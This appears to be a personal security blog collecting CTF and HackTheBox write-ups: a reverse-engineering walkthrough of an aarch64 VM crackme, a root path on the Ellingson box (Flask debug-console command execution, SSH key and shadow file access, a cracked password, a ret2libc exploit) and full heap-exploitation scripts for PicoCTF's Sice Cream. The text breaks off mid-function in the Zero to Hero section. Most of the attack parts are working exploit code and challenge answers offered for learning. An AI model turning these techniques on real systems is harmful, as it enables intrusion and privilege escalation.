Search This Blog

Friday, November 15, 2019

Pseudo HacktheBox Writeup

Pseudo is the toughest challenge on HTB in my opinion as of 2019 (well, before headachev2 released). Nothing even comes close to this reversing challenge, which centers around an aarch64 and VM crackme. Before I start, I would like to thank davidlightman for working on it with me. He taught me many new reversing tricks and, oftentimes, managed to see things which I missed.

Starting off, we identify that the binary is UPX packed, so unpack it first. Then, we realize that it is an aarch64 binary. To actually reverse this, I ended up using qemu user mode (qemu-aarch64). Luckily, qemu-aarch64 had both a gdb remote debugging interface as well as a strace option to run when in emulation. For debugging, I used gdb-multiarch with the peda extension.

From an initial static analysis, we note that the main function is at 0x4004b0. Also, since it is statically compiled but completely stripped of symbols, it may help to identify some glibc functions. How do we recognize what functions are glibc related? Well, I mainly analyzed strings and tried to map similarities to the real life source code. Moreover, once I found that 0x49eba8 was assert(), my life became a lot easier. Remember to actually rename the functions as you go along. I relied a lot on GHIDRA's decompiler, but it helps a ton to understand arm assembly. Here were some of the references I used:
https://azeria-labs.com/writing-arm-assembly-part-1/
https://modexp.wordpress.com/2018/10/30/arm64-assembly/ 

After a while, I became pretty confident that functions in 0x49xxxx to 0x5xxxxx are glibc functions, so they don't matter too much. Function 400578 is where the most important part is.

There are multiple loops, random floating point arithmetic, and many conditionals. There also seems to be some bytecode starting from 0x5036b8. Let's get to some dynamic analysis. I highly recommend you use gdb's --command option to use its scripting capabilities. Upon running it, we get a message about "terminal for ants." I took it really literally and made my terminal fullscreen. Now it prompts for a password! However, there is also a better way here: using qemu's strace, you will see a call to ioctl, which can be used in terminal screen size checks. As you can see in 0x4004e8, there is where the call is happening. It is checked against the value 158 to see if your screen size is bigger than that. The solution here is to just use the following command: stty rows 159 columns 159

I didn't bother to check if rows or columns really mattered here, but you will beat the check. Now placing a breakpoint at 0x400650 (seems like this is where reading in is occuring), place a break point at 0x400570 (this also runs beforehand and it is closely tied to the massive loop but I would like to debug it after entering some passwords) and enter some random strings in the password prompt. Throughout static analysis, I noticed a lot of referencing to the w0, w20, and w21 registers. At this point, I was just printing the contents of those registers. Soon I noticed a pattern. Perhaps those bytecodes I saw earlier are part of a VM and this is like a VM crackme! Some extra analysis confirmed this: w0 is the bytecode (as it constantly changes), w20 is the offset or somewhat like a program counter (as it increases and decreases in a pattern or jumps around sometimes), and w21 points to where the base of the bytecode is (it stays constant). Also, once again from static analysis, I noticed that 0x00574c8 and 0x005740d0 are constantly referenced; perhaps they are the registers to this VM.

Moreover, all the conditionals seen in the massive loop are related to the operations that must be performed when w0 has a certain byte in it. Here is my summary of them (labeled with w0 value and corresponding location in binary):

w0 = 0x23 -> 0x4005d0

if (iVar6 == 0x23) {
    PTR_DAT_005740c8 = PTR_DAT_005740c8 + -1;
Decrements the index

w0 = 0x0e -> 0x4005e8

if (iVar6 == 0xe) {
    *PTR_DAT_005740c8 = *PTR_DAT_005740c8 + '\x01';
Increments value in current index

w0 = 0x01 -> 0x400600

if (iVar6 == 1) {
    *PTR_DAT_005740c8 = *PTR_DAT_005740c8 + -1;
 Decrements value in current index.

w0 = 0x05 -> 0x400618
    if (iVar6 == 5) {
        bVar3 = *PTR_DAT_005740c8;
        iVar6 = FUN_0049ecb8((ulonglong)bVar3); //run it on data at 5740c8
        if (iVar6 == 0 && bVar3 != 10) {
            return 1;
        }
    FUN_004b1570((ulonglong)bVar3,PTR_DAT_00574998);

ulonglong FUN_0049ecb8(int iParm1)
{
longlong in_tpidr_el0;
return (ulonglong)
((uint)*(ushort *)(*(longlong *)((undefined *)0x90 + in_tpidr_el0) + (longlong)iParm1 * 2)
& 0x4000);
}
This function didn't matter in solving this crackme.

w0 = 0x80 -> 0x400650

PTR_DAT_005740d0 = PTR_DAT_005740c8;
PTR_DAT_005740c8 = puVar2;
*puVar2 = 0xd;
PTR_DAT_005740c8 = PTR_DAT_005740c8 + 1;
do {
    uVar7 = FUN_004b1418(PTR_DAT_005749a0);
    *PTR_DAT_005740c8 = (char)(uVar7 & 0xff) + -0x5e;
    puVar2 = PTR_DAT_005740c8 + 1;
    PTR_DAT_005740c8 = puVar2;
} while ((uVar7 & 0xff) != 10);
PTR_DAT_005740c8 = PTR_DAT_005740d0;
PTR_DAT_005740d0 = puVar2;
Reads and modifies a password. It subtracts 0x5e from each character.

w0 = 0xef -> 0x400968
A good amount of floating point operations... it didn't matter in solving the crackme.

w0 = 0xd2 -> 0x4006c0
A good amount of floating point operations... reversing these are not necessary.
Perhaps it checks if the password is correct because I saw a "\r" in there.
You can also see in GHIDRA how compares w0 to w2, and w2 is result of the floating point operations... I hypothesized that this is where the password check is occurring.

w0 = 0x02 -> 0x400958

This part did not matter in solving the crackme.

w0 = 0x7f -> 0x400af8

This part did not matter in solving the crackme.

w0 = 0x17 -> 0x400584

while (iVar6 = (int)param_1, iVar6 == 0x17) {
    unaff_x20 = unaff_x20 + 1;
    PTR_DAT_005740c8 = PTR_DAT_005740c8 + 1;
    param_1 = (ulonglong)*(byte *)(unaff_x21 + unaff_x20);
    if (*(byte *)(unaff_x21 + unaff_x20) == 0) {
    return 0;
Increments counter and increments byte code offset in x20 register, then loads the next byte into the w0 register.
This part determines whether to keep looping or to stop.  If w0 = 0, it exits.

Most of them don't matter... it's funny though how it is very similar to brainfuck, with a few more instructions. The only things that really matter here is 0x80 (which reads in input and subtracts 0x5e from every char) and 0xd2, which is checking our input, or password. Also from dynamic analysis, you should see that if your password is wrong, the VM goes into an infinite loop on the byte 0x7f.
Now, how exactly do we figure out the result from all the crazy floating point arithmetic used to check the password? Answer is we don't need to. Take a look at this part around 0x40091c.

0040091c 5f 00 20 6b cmp param_3,param_1, UXTB
00400920 81 ee ff 54 b.ne LAB_004006f0

param_3 and param_1 are tied to w0 and w2 in GHIDRA. w2 is the difference between the char you entered and 0x5e. w0 is the result of the floating point arithmetic. We can determine them through debugging; they just need to be equal. Moreover, from debugging, you will notice that the chars are checked in reverse order. After a few minutes, I managed to get the password out.  It is the following:
~vms_all_the_way

Upon entering the password, the program prints out the flag in ASCII art and exits.

Sunday, November 3, 2019

oBfsC4t10n HackTheBox Writeup (Password Protected)

Although I'm not a huge fan of forensic problems, oBfsC4t10n is an amazing forensics challenge on HacktheBox which taught me a lot. Before I start, I would like to thank Deimos for working with me and D3v17 for catching a parsing bug I had in my script.  Since it is still active, so it will be password protected with the root flag.

Disclaimer:
Do not leak the writeups here without their flags. If I detect misuse, it will be reported to HTB. I also will not be responsible for any misuse of these writeups. If you are part of the HTB staff or are the creator of a challenge/box here and would like to see the writeup removed for a certain reason, please contact me. I will remove it as soon as possible.

Saturday, October 19, 2019

Ellingson HackTheBox Writeup

Ellingson was a fun but easy box from HackTheBox.  There was a really trivial python web exploit followed by a classic ret2libc attack.

In the initial nmap scan, only port 22 and port 80 show up.  From some basic enumeration, we can tell that the web page runs on Flask.  Let's try to break it!  After a few minutes, I find that navigating to http://ellingson.htb/articles/4 breaks the webpage and reveals a console.  Here was my interaction with the console to gain RCE.

import subprocess
subprocess.check_output(['ls', '-l']) runs ls -l for example
#whoami tells me that currently I am hal
subprocess.check_output(['ls', '/home']) #shows there are the following users: duke, hal, margo, theplague
subprocess.check_output(['ls', '-a', '/home/hal'])
b'.\n..\n.bash_logout\n.bashrc\n.cache\n.config\n.gnupg\n.local\n.profile\n.ssh\n.viminfo\n'
subprocess.check_output(['ls', '-a', '/home/hal/.ssh'])
b'.\n..\nauthorized_keys\nid_rsa\nid_rsa.pub\nknown_hosts\n
subprocess.check_output(['cat', '/home/hal/.ssh/id_rsa'])


But it turns out Hal's id_rsa did not work.  I decided to store my public key into a variable and write it to authorized_keys for Hal.  Once we get a shell via SSH, I navigated to /var/backups and found that I can access shadow.bak.  Running rockyou on it gets us the following credentials: margo:iamgod$08

Now, we will have gotten user.  Onto root!

I found a SUID binary called garbage almost immediately.  SCP the file out and do a classic ret2libc out; make sure to change our uid to 0 as well in the ROP chains.  The basic gist was to leak libc by calling puts on puts@GOT and redirecting execution back into main.  Then you call setuid(0) and redirect back to the vulnerable part of the program.  Lastly, I just had it call a libc magic one gadget to pop the final shell.  Here was my exploit (there was one small issue with outputs that I encountered initially so my way of reading the outputs was sort of weird and please note that I did this problem before the days when I discovered p64() and u64() and I also decided to experiment with the auto-ROP feature of pwntools):

import sys
import struct
from pwn import *

#context.log_level = 'debug'
remoteShell = ssh(host = 'ellingson.htb', user='margo', password='iamgod$08')
remoteShell.set_working_directory('/usr/bin')
elf = ELF('./garbage')
libc = ELF('./libc.so.6')
rop = ROP(elf)
context(arch='amd64')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
print rop.dump()
leakPayload = 'A' * 0x88 + struct.pack('<Q', 0x40179b) + struct.pack('<Q', 0x404028) + struct.pack('<Q', 0x401050) + struct.pack('<Q', 0x401619)
#print leakPayload
#p = process('./garbage')
p = remoteShell.process('./garbage')
p.sendline(leakPayload)
temp = p.recvuntil('\x7f') #weird input output thing, but probably first byte is x7f
temp = temp.split('\n')[2]
leakedPuts = struct.unpack('Q', temp + '\x00\x00')[0]
libc.address = leakedPuts - libc.symbols['puts']
print 'LIBC_BASE: ' + hex(libc.address)
print 'SETTING UID to 0'
setuid = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x2155f) + struct.pack('<Q', 0x0) + struct.pack('<Q', libc.address + 0xe5970) + struct.pack('<Q', 0x401513)#setuid 0 + go back to auth
p.sendline(setuid)
print 'OPENING A SHELL'
exploit = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x4f322) #libc.so.6 one_gadget
p.sendline(exploit)
p.interactive()

And that's it for Ellingson!

Thursday, October 17, 2019

PicoCTF 2019 Sice Cream Writeup

Sice Cream was quite a difficult challenge from PicoCTF 2019.  Although most people did this by messing with the pointer to top chunk to return malloc hook, I performed a House of Orange attack (which only worked sometimes for some reason), as this is using libc 2.23.  Here is the reversed program (with my comments):


void alloc(void)
{
  int iVar1;
  ulong uVar2;
  void *pvVar3;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = FUN_004008a7();
  if (iVar1 < 0) { //no more than 0x13
    puts("Out of space!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("How much sice cream do you want?");
  printf("> ");
  read(0,local_28,0x10);
  uVar2 = strtoul(local_28,(char **)0x0,10);
  if (0x58 < (uint)uVar2) { //can only allocate up to 0x60 real size chunks
    puts("That\'s too much sice cream!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar3 = malloc(uVar2 & 0xffffffff);
  *(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3;
  puts("What flavor?");
  printf("> ");
  read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
  puts("Here you go!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void rename(void)
{
  puts("What\'s your name again?");
  printf("> ");
  read(0,&DAT_00602040,0x100);
  printf("Ah, right! How could a forget a name like %s!\n",&DAT_00602040);
  return;
}

void delete(void)
{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which sice cream do you want to eat?");
  printf("> ");
  read(0,local_28,0x10);
  uVar1 = strtoul(local_28,(char **)0x0,10);
  if (0x13 < (uint)uVar1) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8)); //potential for double free
  puts("Yum!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void menu(void)
{
  puts("1. Buy sice cream");
  puts("2. Eat sice cream");
  puts("3. Reintroduce yourself");
  puts("4. Exit");
  return;
}

void main(void)
{
  int iVar1;
  ulong uVar2;
  long in_FS_OFFSET;
  char local_28 [24];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Welcome to the Sice Cream Store!");
  puts("We have the best sice cream in the world!");
  puts("Whats your name?");
  printf("> ");
  read(0,&DAT_00602040,0x100);
  while( true ) {
    while( true ) {
      while( true ) {
        menu();
        printf("> ");
        read(0,local_28,0x10);
        uVar2 = strtoul(local_28,(char **)0x0,10);
        iVar1 = (int)uVar2;
        if (iVar1 != 2) break;
        delete();
      }
      if (2 < iVar1) break;
      if (iVar1 != 1) goto LAB_00400cb5;
      alloc();
    }
    if (iVar1 != 3) break;
    rename();
  }
  if (iVar1 == 4) {
    puts("Too hard? ;)");
  }
LAB_00400cb5:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void somefunction(char *pcParm1)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen(pcParm1,"r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

As you can see, the main bug is the double free.  We can also utilize the rename function for leaks.  For heap leaks, we can simply fill it with (0xff) “A”s and then it would print all those As and the  pointer to your first chunk (which you should allocate first), thus giving us a heap leak; this only works due to the location of name in bss, which is at 0x602040, and the array of pointers at 0x602140, and the fact that rename reads in size 0x100.

As for the libc leak, we will need to create a double free (Ex. free(1), free(2), free(1)) and re-allocate chunks of the same size to overwrite the next pointer in the double freed chunk to point into the BSS part where your name is stored (you will need to setup the name section to bypass the fastbin size checks as well).  Then, you can rename yourself (once a chunk gets allocated there) so that the size falls into unsorted range and set the region of memory below to pass the other libc checks accordingly.  Freeing that, and then filling it up with enough "A"s to block out the nulls will allow us to get a main arena address, thereby providing us with a libc leak.

Now, we have all the leaks, but we still have a major issue: arbitrary write and code execution.  The size limitations make the classic fastbin attack impossible.  There aren't any other bytes I could misalign around hooks.  There also is Full RELRO.

However, the name buffer does have size 0x100, making me think of House of Orange.  I studied House of Orange for the first time with the help of this link and this link.  The basic idea involves an unsorted bin attack, a fake file structure, and purposely causing the program to call abort() with what we desire. 

When abort() is called, _IO_flush_all_lockp() is then called.  Eventually, it will go through _IO_list_all to call _IO_OVERFLOW(fp, EOF).  We need to overwrite _IO_list_all with a malicious pointer so that _IO_OVERLOW points to system (4th item in the malicious vtable) and the first 8 bytes are set to '/bin/sh'.   _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh') now (thank you how2heap for explaining this to me).  The chain items in the fake structures will also have to be null to work in this House of Orange scenario.  However, to satisfy this constraint: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base, you have to make sure to make _IO_write_ptr something like 3 and _IO_write_base something smaller like 2.

Since we don't have enough space to also fit in a vtable in the buffer for name, we can save a chunk in the fastbin to then reallocate and store the system addresses with the help of heap leak.  Last thing... what should we overwrite the size of the "unsorted" chunk with?  Well, according to how2heap and malloc.c, if we set the size to 0x61 and allocate a smaller chunk, malloc will place it into smallbin 4. With the unsorted bin attack to overwrite with the address, this location will represent the fake file pointer's fd-ptr.  Here's the final exploit:

from pwn import *

bin = ELF('./sice_cream')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
#https://amritabi0s.wordpress.com/2018/05/01/asis-ctf-quals-2018-fifty-dollors-write-up/
#p = process('./sice_cream')
#nc 2019shell1.picoctf.com 35993
p=remote('2019shell1.picoctf.com', 35993)

def wait():
    p.recvrepeat(0.5)

def alloc(size, data):
    wait()
    p.sendline(str(1))
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline(str(2))
    wait()
    p.sendline(str(index))

def rename(data):
    wait()
    p.sendline(str(3))
    wait()
    p.sendline(data)

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #no null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0) #classic double free
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
alloc(0x50, '') #6
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more to beat checks to prevent a corruption/double free issue
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
IO_list_all = libcBase + libc.symbols['_IO_list_all']
system = libcBase + libc.symbols['system']
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('_IO_list_all: ' + hex(IO_list_all))
log.info('System: ' + hex(system))
fakevtable = heapLeak + 0x60 #find offset by debugging
#rename can help us overwrite... perform House of Orange, satisfy write_base < write_ptr (2 and 3), add pointer to fake vtable, null out everything for it to work
payload = '/bin/sh\x00' +p64(0x61) + p64(leak) + p64(IO_list_all-0x10)+p64(2)+p64(3)+p64(0)*18+p64(0)+p64(0)+p64(0)+p64(fakevtable)
rename(payload)
delete(6) #free it
alloc(0x50, p64(system) * 7) #fake vtable
p.interactive() #ctrl +D to exit interactive mode
alloc(0x10, '') #pop shells
p.interactive()

However, there were some cool alternative methods as well, which I learned afterwards and would like to share. 

I heard about a cool way afterwards about overwriting into the main arena to manipulate where top chunk points to, which this post talks about.  This way, using the classic fastbin duplication (since we have already redirected a chunk into BSS and freed it, the main arena will have pointers to BSS in its fastbin array (with the 0x60 as the high bytes), and therefore we can fastbin duplicate into there with misalignment), we can get top chunk to be located near malloc hook for future allocations by overwriting the original top chunk pointer. 

Then, we can allocate and overwrite malloc hook.  We also do need to fix the unsorted bin size (I made it really small) so future allocations for fastbin size will not come from there.  However, none of the one gadget constraints were satisfied when we made the program call malloc.  NotDeGhost from redpwn and Faith mentioned the idea from this blog post, in which we purposely trigger a double free or corruption error by freeing two of the same chunks successively.  This way, free will eventually call malloc_printerr, which will eventually call strdup, which uses malloc() and thus calls our hook.  In this scenario, the constraints were satisfied and we popped a shell.

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
onegadget = libcBase + 0xf02a4 #test and pray one works
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used so you don't cause an unwanted unsorted bin attack
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(mallocHook-0x10)) #get a chunk back into fastbin array, null out all before top chunk, then point it to before malloc hook, also can "sort of" look like top chunk
alloc(0x40, p64(onegadget)) #11, unused size before, will allocate from "top" and end up over mallocHook, overwrite with malloc hook
#then https://blog.osiris.cyber.nyu.edu/2017/09/30/csaw-ctf-2017-auir/ -> free actually when double free errors calls malloc_printerr which in turn calls strdup, which uses malloc, which in turn will help us call our hook
#now purposely trigger double free
delete(6)
delete(6)
p.interactive()

Using the same top chunk/fastbin attack method, there is another way to satisfy the constraints.  nek0nyaa mentioned this "two gadget" technique, in which I overwrite realloc hook with a magic one gadget and redirect malloc hook to call realloc.  In this case, I pointed malloc hook to point to __libc_realloc + a certain offset; if you skip certain instructions, especially for the beginning push instructions, you will change the way in which the stack is created and might actually satisfy the constraints.  In this case, one of the one gadgets worked when malloc hook was pointed to __libc_realloc + 16.

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
reallocHook = 0x00000000003c4b08 + libcBase
#onegadget = libcBase + 0xf02a4 #test and pray one works
onegadget = libcBase + 0x4526a #test and pray one works
libcrealloc = libcBase + 0x00000000000846c0
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('Realloc hook: ' + hex(reallocHook))
log.info('__libc_realloc: ' + hex(libcrealloc))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(reallocHook-0x10)) #fake chunk to realloc hook
#another method if none of one gadgets work... two gadget method... make realloc  hook point to one gadget and malloc hook point to __libc_realloc +n so it hopefully satisfies constraints, thank you to nek0nyaa for sharing this
'''
Dump of assembler code for function realloc:
   0x00000000000846c0 <+0>: push   r15
   0x00000000000846c2 <+2>: push   r14
   0x00000000000846c4 <+4>: push   r13
   0x00000000000846c6 <+6>: push   r12
   0x00000000000846c8 <+8>: mov    r13,rsi
   0x00000000000846cb <+11>: push   rbp
   0x00000000000846cc <+12>: push   rbx
   0x00000000000846cd <+13>: mov    rbx,rdi
   0x00000000000846d0 <+16>: sub    rsp,0x38
'''
alloc(0x40, p64(onegadget)+p64(libcrealloc+16))#overwrite realloc hook, then overwrite malloc hook, test random offsets with some educated guessing, skip over some of the pushes to set up stack differently
alloc(0x30, '') #trigger it hopefully
p.interactive()


And that's it for sice cream!

PicoCTF 2019 Zero to Hero Writeup

Zero to Hero was the final pwn of PicoCTF 2019.  It is using libc 2.29 so it has the whole key mechanism to protect against double frees.  However, the program allows you to overwrite by one null byte; this byte once again allows us to pop a shell; many of the competitors said that this technique should be called the House of Poortho.  It's also a slightly more difficult version but in some ways quite similar to this heap challenge.  Before I continue, here is the program reversed:

//libc 2.29, so tcache protection with keys

void add(void)
{
  long lVar1;
  void *pvVar2;
  ssize_t sVar3;
  long in_FS_OFFSET;
  uint local_28;
  int local_24;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0;
  local_24 = FUN_004009c2(); //7 chunks only, doesn't reduce number
  if (local_24 < 0) {
    puts("You have too many powers!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("Describe your new power.");
  puts("What is the length of your description?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&local_28);
  getchar();
  if (0x408 < local_28) { //can't go over 0x408
    puts("Power too strong!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar2 = malloc((ulong)local_28);
  *(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2;  //stored at array at 00602060
  puts("Enter your description: ");
  printf("> ");
  lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
  sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
  *(undefined *)(sVar3 + lVar1) = 0; //null byte overflow
  puts("Done!");
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void delete(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  puts("Which power would you like to remove?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&local_14);
  getchar();
  if (6 < local_14) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8)); //use after free, not setting to 0
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void menu(void)
{
  puts("1. Get a superpower");
  puts("2. Remove a superpower");
  puts("3. Exit");
  return;
}

void main(void)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  int local_2c;
  char local_28 [24];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts("From Zero to Hero");
  puts("So, you want to be a hero?");
  sVar1 = read(0,local_28,0x14);
  local_28[sVar1] = 0;
  if (local_28[0] != 'y') {
    puts("No? Then why are you even here?");
